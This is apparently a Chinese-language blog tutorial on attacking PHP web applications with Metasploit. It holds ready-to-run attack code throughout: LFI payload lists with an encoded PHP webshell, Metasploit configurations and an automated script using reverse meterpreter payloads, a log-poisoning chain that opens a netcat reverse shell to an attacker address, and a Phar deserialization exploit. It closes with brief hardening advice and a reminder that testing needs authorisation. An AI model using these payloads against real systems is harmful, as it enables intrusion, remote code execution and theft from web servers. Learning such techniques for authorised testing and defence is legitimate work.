PHP项目渗透测试与Metasploit

wen PHP项目 3

本文目录导读:

PHP项目渗透测试与Metasploit

  1. PHP项目核心攻击面
  2. Metasploit专门模块
  3. 实战渗透步骤
  4. 高级利用技术
  5. 自动化扫描与利用
  6. 漏洞利用链案例
  7. 防御建议
  8. 工具推荐

针对PHP项目的渗透测试,结合Metasploit框架,可以系统性地发现和利用漏洞,以下是完整的实战方法论:

PHP项目核心攻击面

常见漏洞类型

  • 文件包含include($_GET['page']); → 本地/远程文件包含
  • SQL注入mysqli_query("SELECT * FROM users WHERE id=$_GET['id']")
  • 命令执行system("ping " . $_GET['ip'])
  • 反序列化unserialize($_POST['data'])
  • 文件上传:缺乏类型验证的move_uploaded_file()

PHP特性攻击向量

// 变量覆盖
extract($_GET);
echo $username; // ?username=admin
// 类型混淆
if ($_GET['id'] == "0e123456") // 0e开头字符串 == 0
// Phar反序列化
$phar = new Phar('test.phar');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

Metasploit专门模块

PHP组件漏洞模块

# 搜索PHP相关模块
msf6 > search php type:exploit
# PHP CGI参数注入 (CVE-2012-1823)
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS target.com
set TARGETURI /cgi-bin/php
# PHP Study后门利用
use exploit/multi/http/phpstudy_backdoor

Web应用通用模块

# LFI to RCE
use exploit/unix/webapp/php_include
set PATH /index.php?page=
set PHP_PAYLOAD generic/shell_bind_tcp
# 文件上传漏洞
use exploit/multi/http/wp_admin_shell_upload

实战渗透步骤

第一阶段:信息收集

# 1. 指纹识别
whatweb http://target.com
wpscan --url http://target.com
# 2. 目录扫描
dirsearch -u http://target.com -e php,txt,conf
# 3. 敏感文件发现
gobuster dir -u http://target.com -w phpinfo.txt,config.php

第二阶段:漏洞验证

# 示例:LFI测试
import requests
payloads = [
    "/etc/passwd",
    "php://filter/convert.base64-encode/resource=config.php",
    "php://input",
    "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="
]
for payload in payloads:
    r = requests.get(f"http://target.com/index.php?page={payload}")
    if "root:" in r.text or "PD9waHA" in r.text:
        print(f"[!] LFI found with: {payload}")

第三阶段:利用Metasploit

msf6 > use exploit/multi/http/php_include
msf6 > set PATH /index.php?page=
msf6 > set PHP_PAYLOAD php/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.100
msf6 > set RPATH /usr/share/webshells/php/php-reverse-shell.php
msf6 > run

高级利用技术

绕过限制技巧

// 空字节截断(PHP < 5.3.4)
?page=../../../etc/passwd%00
// URL编码绕过
?page=%2e%2e%2f%2e%2e%2fetc/passwd
// 双重编码
?page=..%252f..%252fetc/passwd

Session序列化攻击

# 检测PHP session反序列化
msf6 > use auxiliary/scanner/http/php_session_serialize
# 手动构造payload
# Joomla! 3.x session反序列化RCE

FastCGI协议攻击

# PHP-FPM未授权访问
use exploit/unix/http/php_fpm_ld_preload
set RHOSTS 127.0.0.1
set RPORT 9000

自动化扫描与利用

专用扫描脚本

# PHP漏洞综合扫描
git clone https://github.com/lightos/Panoptic.git
python panoptic.py -u http://target.com
# LFI自动化利用
git clone https://github.com/tennc/webshell.git
python lfi.py -u "http://target.com/index.php?page=FILE" -l /etc/passwd

Metasploit自动化

# 创建自动化脚本auto_php.rc
use auxiliary/scanner/http/php_include
set TARGETURI /index.php?page=
set FILE /etc/passwd
run
use exploit/multi/http/php_include
set TARGETURI /index.php?page=
set PHP_PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.100
run
# 执行
msfconsole -r auto_php.rc

漏洞利用链案例

案例:LFI + Log Poisoning → RCE

# 1. 注入恶意代码到日志
curl -X GET "http://target.com/index.php?page=<?php system('nc -e /bin/sh 192.168.1.100 4444'); ?>"
# 2. LFI包含日志文件
curl "http://target.com/index.php?page=/var/log/apache2/access.log"
# 3. 反弹shell
nc -lvnp 4444

案例:Phar反序列化

// 创建恶意phar文件
class Evil {
    public $cmd = 'system("id")';
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
# 触发反序列化
curl -X POST "http://target.com/upload.php" -F "file=@exploit.phar"
curl "http://target.com/index.php?page=phar://./uploads/exploit.phar"

防御建议

代码层面

// 1. 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
// 2. 文件包含限制
$allowed_pages = ['home', 'about', 'contact'];
if (!in_array($_GET['page'], $allowed_pages)) {
    die('Invalid page');
}
// 3. 输入过滤
$id = filter_input(INPUT_GET, 'id', FILTER_SANITIZE_NUMBER_INT);

配置加固

# Apache配置
<Directory /var/www/html>
    php_flag engine off
    <FilesMatch "\.php$">
        php_flag engine on
    </FilesMatch>
</Directory>
# 禁用PHP信息泄露
expose_php = Off

工具推荐

工具 用途 命令示例
WPScan WordPress扫描 wpscan --url http://target.com --enumerate u
Droopescan Drupal/Joomla扫描 droopescan scan drupal -u http://target.com
PHPStan 静态代码分析 phpstan analyse --level=9 /path/to/project
RIPS 自动漏洞扫描 java -jar rips.jar
PHP Malware Finder 后门检测 php-malware-finder scan /var/www/html

注意事项

  • 所有渗透测试需获得书面授权
  • 测试环境使用DVWA、bWAPP、PentesterLab等靶场
  • 实际生产环境测试前建议进行回滚准备
  • 记录所有操作,生成完整渗透测试报告

通过结合手动测试的灵活性和Metasploit的自动化能力,可以高效完成PHP项目的安全评估。

抱歉,评论功能暂时关闭!